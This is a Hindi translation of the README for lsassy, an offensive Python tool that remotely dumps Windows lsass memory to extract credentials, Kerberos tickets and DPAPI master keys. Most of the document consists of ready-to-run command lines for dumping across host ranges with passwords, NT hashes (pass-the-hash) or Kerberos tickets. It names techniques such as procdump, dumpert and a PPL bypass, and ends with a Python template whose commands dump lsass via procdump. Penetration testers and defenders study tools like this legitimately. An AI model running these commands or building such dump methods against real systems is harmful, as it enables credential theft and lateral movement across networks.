
lsass से दूरस्थ रूप से क्रेडेंशियल्स निकालें
होस्ट के एक सेट पर दूरस्थ रूप से क्रेडेंशियल निकालने के लिए Python टूल। यह ब्लॉग पोस्ट बताता है कि यह कैसे काम करता है।
यह टूल lsass डंप में आवश्यक बाइट्स को दूरस्थ रूप से पढ़ने के लिए impacket प्रोजेक्ट और क्रेडेंशियल निकालने के लिए pypykatz का उपयोग करता है।
| अध्याय | विवरण |
|---|---|
| चेतावनी | इस टूल का उपयोग करने से पहले, इसे पढ़ें |
| स्थापना | Lsassy स्थापना |
| मूल उपयोग | मूल lsassy उपयोग |
| उन्नत उपयोग | पैरामीटर स्पष्टीकरण के साथ उन्नत lsassy उपयोग |
| डंप विधि जोड़ें | कस्टम lsass डंप विधि कैसे जोड़ें |
| धन्यवाद | इन लोगों और टूल्स को धन्यवाद |
| आधिकारिक डिस्कॉर्ड | आधिकारिक डिस्कॉर्ड सर्वर |
हालाँकि मैंने टूल को स्थिर बनाने के लिए हर संभव प्रयास किया है, त्रुटियाँ होने पर निशान रह सकते हैं।
यह टूल या तो कुछ lsass डंप छोड़ सकता है यदि वह उन्हें हटाने में विफल रहता है (भले ही वह ऐसा करने की पूरी कोशिश करता है) या एक शेड्यूल किया गया कार्य चालू छोड़ सकता है यदि वह उसे हटाने में विफल रहता है। ऐसा नहीं होना चाहिए, लेकिन हो सकता है। अब, आप जानते हैं, इसे सावधानी से उपयोग करें।
lsassy python >= 3.7 के साथ काम करता है
python3 -m pip install lsassy
python3 setup.py install
lsassy कई लक्ष्यों (IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) जिसमें लक्ष्यों की सूची है) पर बॉक्स के बाहर काम करता है।
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
डिफ़ॉल्ट रूप से, lsassy comsvcs.dll विधि का उपयोग करके दूरस्थ रूप से lsass डंप करने का प्रयास करेगा, या तो WMI के माध्यम से या दूरस्थ शेड्यूल किए गए कार्य के माध्यम से।
lsassy Kerberos के साथ प्रमाणित कर सकता है। इसके लिए KRB5CCNAME एनवायरनमेंट वेरिएबल में एक वैध TGT की आवश्यकता होती है। अधिक विवरण के लिए उन्नत उपयोग देखें।
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
lsassy में विभिन्न lsass डंपिंग विधियाँ लागू की गई हैं, और उपयोगकर्ता को यह नियंत्रण देने के लिए कुछ विकल्प प्रदान किए गए हैं कि टूल कैसे आगे बढ़ेगा।
lsassy मॉड्यूल में विभाजित है
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
यह मॉड्यूल ऑर्केस्ट्रेटर है। यह प्रदान किए गए तर्कों और विकल्पों के साथ lsassy वर्ग बनाता है, और फिर क्रेडेंशियल प्राप्त करने के लिए विभिन्न मॉड्यूल को कॉल करता है।
यह मॉड्यूल लॉगिंग उद्देश्य के लिए उपयोग किया जाता है।
यह python के अंतर्निहित फ़ाइल ऑब्जेक्ट की तरह व्यवहार करने के लिए Impacket के ऊपर बनाई गई एक परत है। यह open, read, seek, या close जैसी विधियों को ओवरराइड करता है।
यह वह मॉड्यूल है जहाँ सभी डंपिंग तर्क होता है। उपयोग की गई विधि के आधार पर, यह दूरस्थ होस्ट पर lsass को डंप करने के लिए कोड निष्पादित करेगा।
यह मॉड्यूल pypykatz पर निर्भर करता है और दूरस्थ रूप से lsass डंप को पार्स करने के लिए lsassy फ़ाइल मॉड्यूल का उपयोग करता है।
यह मॉड्यूल आउटपुट भाग को संभालता है, या तो स्क्रीन पर विभिन्न प्रारूपों में और/या परिणामों को फ़ाइल में लिखता है।
यह टूल विभिन्न तरीकों से lsass डंप कर सकता है।
डंपिंग विधियाँ (-m या --method)
यह विधि केवल अंतर्निहित Windows फ़ाइलों का उपयोग करती है ताकि दूरस्थ क्रेडेंशियल निकाले जा सकें। यह lsass प्रक्रिया को डंप करने के लिए comsvcs.dll से minidump फ़ंक्शन का उपयोग करती है।
यह विधि lsass प्रक्रिया को डंप करने के लिए SysInternals से procdump.exe अपलोड करती है।
यह विधि lsass प्रक्रिया को syscalls का उपयोग करके डंप करने के लिए outflanknl से dumpert.exe या dumpert.dll अपलोड करती है।
यह विधि lsass प्रक्रिया को केवल NTAPIs का उपयोग करके डंप करने के लिए ricardojoserf से NativeDump.exe अपलोड करती है।
यह विधि lsass प्रक्रिया को डंप करने और PPL को बायपास करने के लिए itm4n से ppldump.exe अपलोड करती है।
यह विधि lsass को LSA प्लगइन के माध्यम से पहले से खुले हैंडल का उपयोग करके डंप करने के लिए Ccob से Mirrordump.exe अपलोड करती है।
यह विधि PowerSploit में उपयोग की जाने वाली WER तकनीक का उपयोग करती है।
कुछ डंपिंग विधियों के लिए, विकल्प आवश्यक हैं, जैसे procdump या dumpert पथ। इन विकल्पों को --options या -O के साथ एक अल्पविराम से अलग की गई सूची में key=value प्रारूप में सेट किया जा सकता है।
... --options key=value,foo=bar
उदाहरण के लिए:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
आप --parse-only स्विच के साथ, --dump-path और --dump-name पैरामीटर के साथ पहले से डंप की गई lsass प्रक्रिया को पार्स करना चुन सकते हैं।
ध्यान दें कि यदि आप यह विधि चुनते हैं, तो दूरस्थ lsass डंप हटाया नहीं जाएगा।
उदाहरण के लिए:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
यदि आप नहीं चाहते कि lsassy चलाने के बाद डंप स्वचालित रूप से हटा दिया जाए, तो आप --keep-dump का उपयोग कर सकते हैं।
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump
Kerberos टिकट निकाले जाएंगे और ccache प्रारूप में $HOME/.config/lsassy/tickets में सहेजे जाएंगे। आप -K [directory] या --kerberos-dir [directory] पैरामीटर का उपयोग करके आउटपुट निर्देशिका निर्दिष्ट कर सकते हैं। यदि यह निर्देशिका मौजूद नहीं है, तो टूल टिकट आउटपुट करने से पहले इसे बनाने का प्रयास करेगा।
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'
DPAPI मास्टर कुंजियाँ निकाली जाएंगी और {GUID}:SHA1 प्रारूप में $HOME/.config/lsassy/masterkeys.txt में सहेजी जाएंगी। आप -M [path] या --masterkeys-file [path] पैरामीटर का उपयोग करके मास्टरकी फ़ाइल पथ निर्दिष्ट कर सकते हैं। यदि फ़ाइल पथ मौजूद नहीं है, तो टूल फ़ाइल बनाने से पहले उसे बनाने का प्रयास करेगा।
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'
lsassy का उपयोग करके दूरस्थ लक्ष्यों के विरुद्ध प्रमाणित करने के तीन अलग-अलग तरीके हैं। एकमात्र आवश्यकता यह है कि उपयोगकर्ता के पास दूरस्थ लक्ष्यों पर स्थानीय प्रशासन अधिकार होने चाहिए।
पहला और सबसे स्पष्ट है स्पष्ट पाठ क्रेडेंशियल का उपयोग करना। यह या तो स्थानीय या डोमेन उपयोगकर्ता हो सकता है।
## स्थानीय उपयोगकर्ता
lsassy -u pixis -p P4ssw0rd server01.hackn.lab
## डोमेन उपयोगकर्ता
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab
उपयोगकर्ता के NT हैश का उपयोग करके प्रमाणित करना भी संभव है। आप या तो LM:NT या केवल NT संस्करण प्रदान कर सकते हैं।
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee
## या
lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
आप Kerberos का उपयोग करके भी प्रमाणित कर सकते हैं। इसके लिए, आपके पास डिस्क पर एक वैध टिकट सहेजा होना चाहिए, और टिकट का पथ KRB5CCNAME एनवायरमेंट वेरिएबल में प्रदान किया जाना चाहिए। परीक्षण उद्देश्य के लिए, यह impacket के getTGT.py टूल का उपयोग करके प्राप्त किया जा सकता है।
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab
यह कमांड एक TGT का अनुरोध करेगा और इसे jsnow.ccache फ़ाइल में सहेजेगा।
lsassy को यह बताने के लिए कि किस टिकट का उपयोग करना है, आपको KRB5CCNAME एनवायरमेंट वेरिएबल में टिकट का पथ स्पष्ट रूप से सेट करना होगा।
export KRB5CCNAME="/home/pixis/jsnow.ccache"
जब यह सही ढंग से कॉन्फ़िगर किया गया है, तो आपको -k पैरामीटर का उपयोग करके उस टिकट का उपयोग करके प्रमाणित करने में सक्षम होना चाहिए। चूँकि आप इस टिकट का उपयोग कर रहे हैं, आपको अब अन्य प्रमाणीकरण जानकारी प्रदान करने की आवश्यकता नहीं है।
lsassy -k server01.hackn.lab
ध्यान दें कि इसके लिए काम करने के लिए, आपको एक वैध DNS कॉन्फ़िगरेशन की आवश्यकता होगी, या तो एक वैध DNS सर्वर के साथ गतिशील, या hosts फ़ाइल का उपयोग करके स्थिर। इसके अलावा, टिकट जनरेट करते समय और lsassy का उपयोग करते समय आपको हमेशा FQDN का उपयोग करना चाहिए, अर्थात server01 के बजाय server01.hackn.lab का उपयोग करें।
lsassy --format या -f फ़्लैग का उपयोग करके विभिन्न प्रारूपों में क्रेडेंशियल आउटपुट कर सकता है।
डिफ़ॉल्ट प्रारूप, साफ-सुथरे क्रेडेंशियल सुनहरे रंगों में प्रदर्शित होते हैं। credz पर भरोसा रखें।
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
परिणाम json प्रारूप में प्रदर्शित करता है। जब किसी स्क्रिप्ट से कॉल किया जाता है तो उपयोगी हो सकता है।
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
Grep-योग्य आउटपुट जो वन-लाइनर्स में उपयोगी हो सकता है।
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
परिणाम प्रदर्शित नहीं करता है। --outfile का उपयोग करते समय उपयोगी।
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none
प्रदान की गई फ़ाइल में grep-योग्य प्रारूप में परिणाम सहेजता है (--outfile या -o)।
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt
यदि आप केवल उपयोगकर्ता क्रेडेंशियल प्राप्त करना चाहते हैं, कंप्यूटर क्रेडेंशियल को फ़िल्टर करना चाहते हैं, तो आप --users फ़्लैग का उपयोग कर सकते हैं।
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users
यदि आप नहीं चाहते कि टिकट निर्यात किए जाएं, तो आप --no-tickets फ़्लैग का उपयोग कर सकते हैं।
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets
यदि आप नहीं चाहते कि मास्टरकीज़ निर्यात की जाएं, तो आप --no-masterkeys फ़्लैग का उपयोग कर सकते हैं।
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys
आप --threads पैरामीटर का उपयोग करके तय कर सकते हैं कि आप कितने थ्रेड का उपयोग करना चाहते हैं [1-256]।
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32
dumpmethod निर्देशिका में एक dummy.py.tpl फ़ाइल है। इस फ़ाइल में एक नई डंप विधि कार्यक्षमता बनाने के लिए मूल संरचना है।
यह विधि अनिवार्य है क्योंकि यह वह विधि है जिसका उपयोग दूरस्थ होस्ट पर कोड निष्पादित करने के लिए किया जाएगा ताकि किसी तरह से lsass डंप किया जा सके। इसे दो आइटम cmd और pwsh के साथ एक शब्दकोश लौटाना आवश्यक है।
cmd कमांड एक कमांड है जिसे cmd.exe उपयोगिता समझती है। pwsh कमांड एक कमांड है जिसे powershell समझता है (अक्सर, cmd कमांड powershell में भी मान्य होता है)।
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
एक Dependency वर्ग है जिसका उपयोग डंप विधि के लिए आवश्यक फ़ाइलों, जैसे sysinternals से procdump.exe, को आसानी से अपलोड करने के लिए किया जा सकता है। दो विधियों का उपयोग किया जा सकता है:
prepare_dependencies यह जाँचने के लिए कि उपयोगकर्ता द्वारा सभी पैरामीटर प्रदान किए गए हैं या नहीं, स्थानीय रूप से उपयोगकर्ता की डिस्क पर फ़ाइल खोजें और अपलोड करें, और फिर वास्तव में फ़ाइल अपलोड करें।clean_dependencies अपलोड की गई फ़ाइलों को हटाने का प्रयास करने के लिए।यह विधि get_commands द्वारा प्रदान किए गए कमांड को निष्पादित करने से पहले बुलाई जाएगी। इसका उपयोग फ़ाइलें अपलोड करने या चीजों की जाँच करने के लिए किया जा सकता है।
यह विधि get_commands द्वारा प्रदान किए गए कमांड को निष्पादित करने के बाद बुलाई जाएगी। इसका उपयोग अपलोड की गई फ़ाइलों को हटाने या चीजों को साफ करने के लिए किया जा सकता है।
यहाँ कुछ टिप्पणियों के साथ procdump का उदाहरण है।
from lsassy.dumpmethod import IDumpMethod, Dependency
class DumpMethod(IDumpMethod):
"""
यदि आपकी डंपिंग विधि कस्टम डंपफ़ाइल नाम के साथ डंपफ़ाइल उत्पन्न नहीं कर सकती है, तो आपको इस सेटिंग को False पर सेट करना होगा
और दूरस्थ सिस्टम पर अपेक्षित डंपफ़ाइल नाम प्रदान करने के लिए 'dump_name' को अनटिप्पणी करना होगा।
"""
custom_dump_name_support = True # डिफ़ॉल्ट: True
# dump_name = "" # डिफ़ॉल्ट: रैंडम डंपफ़ाइल नाम
"""
यदि आपकी डंपिंग विधि कस्टम निर्देशिका में डंपफ़ाइल उत्पन्न नहीं कर सकती है, तो आपको इस सेटिंग को False पर सेट करना होगा
और दूरस्थ सिस्टम पर अपेक्षित डंपफ़ाइल स्थान प्रदान करने के लिए 'dump_share' और 'dump_path' को अनटिप्पणी करना होगा।
यदि आपका डंपिंग टूल कस्टम डंप नाम रख सकता है लेकिन कस्टम डंप एक्सटेंशन नहीं, तो dump_ext वेरिएबल में डंप एक्सटेंशन प्रदान करें।
इस उदाहरण में, procdump.exe वहाँ डंप उत्पन्न करेगा जहाँ हम चाहते हैं, एक नाम के साथ जो हम चुनते हैं, लेकिन हमेशा .dmp एक्सटेंशन जोड़ेगा।
"""
custom_dump_path_support = True # डिफ़ॉल्ट: True
# dump_share = "" # डिफ़ॉल्ट: "C$"
# dump_path = "" # डिफ़ॉल्ट: "\\Windows\\Temp\\"
dump_ext = "dmp"
def __init__(self, session, timeout):
"""
__init__ को कुछ इंस्टेंस वेरिएबल बनाने के लिए ओवरलोड किया गया है।
"""
super().__init__(session, timeout)
"""
इस मॉड्यूल को निष्पादित होने से पहले procdump.exe को दूरस्थ सर्वर पर अपलोड करने की आवश्यकता है।
इसलिए हम procdump को एक Dependency के रूप में जोड़ते हैं। पहला तर्क हमारी निर्भरता के लिए एक नाम है (मनमाना हो सकता है),
और दूसरा तर्क स्थानीय उपयोगकर्ता की डिस्क पर डिफ़ॉल्ट निष्पादन योग्य नाम है।
"""
self.procdump = Dependency("procdump", "procdump.exe")
def prepare(self, options):
"""
Prepare विधि को ओवरलोड किया गया है ताकि हम
- जांच सकें कि अनिवार्य पैरामीटर प्रदान किए गए हैं या नहीं।
- दूरस्थ होस्ट पर procdump अपलोड कर सकें।
यह सब हमारे Dependency ऑब्जेक्ट से prepare_dependencies विधि का उपयोग करके किया जा सकता है।
"""
return self.prepare_dependencies(options, [self.procdump])
def clean(self):
"""
Clean विधि को ओवरलोड किया गया है ताकि हम अपनी निर्भरता को हटा सकें यदि वह अपलोड की गई थी।
clean_dependencies विधि हमारे लिए ऐसा करेगी।
"""
self.clean_dependencies([self.procdump])
def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
"""
get_commands विधि को ओवरलोड किया गया है क्योंकि यह अनिवार्य है।
cmd.exe और powershell के साथ lsass डंप करने के दो अलग-अलग तरीके प्रदान और लौटाए गए हैं।
हमारे Dependency ऑब्जेक्ट की get_remote_path विधि का उपयोग हमारे लक्ष्य पर procdump का सही दूरस्थ पथ प्राप्त करने के लिए किया जाता है।
"""
cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
self.procdump.get_remote_path(),
self.dump_path, self.dump_name
)
return {
"cmd": cmd_command,
"pwsh": pwsh_command
}
अधिक टिप्पणियों और/या जानकारी के लिए आप डमी वर्ग की जांच कर सकते हैं।
